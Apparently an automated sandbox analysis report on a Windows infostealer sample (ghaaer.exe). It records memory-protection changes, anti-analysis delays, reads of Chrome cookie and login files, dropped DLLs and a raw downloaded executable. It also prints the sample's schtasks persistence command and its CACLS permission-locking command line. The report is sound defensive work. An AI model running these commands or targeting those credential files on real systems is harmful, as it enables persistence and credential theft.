NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 1836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 1836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 1540 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2084 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2084 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2212 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 131072 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002b0000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2212 region_size: 184320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01ef0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef40d3000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 720896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001f30000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001f60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b6a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3485000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b6b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 720896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000001fe0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002010000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef34d4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93d4a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93dfc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e26000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93d5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1e16000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe52d000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e71000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2264 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93d6b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

A process attempted to delay the analysis task. (1 event)

description

ghaaer.exe tried to sleep 141 seconds, actually delayed analysis time by 141 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (8 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2425064 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2425064 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2424809 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2424809 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2424586 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2424586 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2424431 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW March 5, 2023, 2:21 p.m.	number_of_free_clusters: 2424431 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State

Creates executable files on the filesystem (12 events)

file	C:\Users\test22\AppData\Local\Temp\1000006051\mohta5.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\drBu00yI73.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\ctBC26jM43.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\hk80nU29Ix16.exe
file	C:\Users\test22\AppData\Roaming\c1ec479e5342a2\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\pthQ0526PE.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\jxeX94eT33.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\ptjj2285ZE.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\beck33Yv88.exe
file	C:\Users\test22\AppData\Local\Temp\1000005051\serko4.exe
file	C:\Users\test22\AppData\Roaming\c1ec479e5342a2\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\ptir3063sm.exe

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\46aee2aca4" /P "test22:N"&&CACLS "..\46aee2aca4" /P "test22:R" /E&&Exit

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\c1ec479e5342a2\clip64.dll

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
ShellExecuteExW March 5, 2023, 2:21 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe	1	1
ShellExecuteExW March 5, 2023, 2:21 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW March 5, 2023, 2:21 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "ghaaer.exe" /P "test22:N"&&CACLS "ghaaer.exe" /P "test22:R" /E&&echo Y\|CACLS "..\46aee2aca4" /P "test22:N"&&CACLS "..\46aee2aca4" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW March 5, 2023, 2:22 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process ghaaer.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile March 5, 2023, 2:22 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPELTÚdà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëè*YÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000ee000', u'virtual_address': u'0x0000c000', u'entropy': 7.945151560955856, u'name': u'.rsrc', u'virtual_size': u'0x000ee000'}

entropy

7.94515156096

description

A section with a high entropy has been found

entropy

0.966988318944

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW March 5, 2023, 2:21 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW March 5, 2023, 2:22 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Queries for potentially installed applications (50 out of 51 events)

Time & API	Arguments	Status
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000003d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: 7-Zip base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: AddressBook base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Adobe AIR base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Connection Manager base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: DirectDrawEx base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: EditPlus base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Fontcore base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Google Chrome base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE40 base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
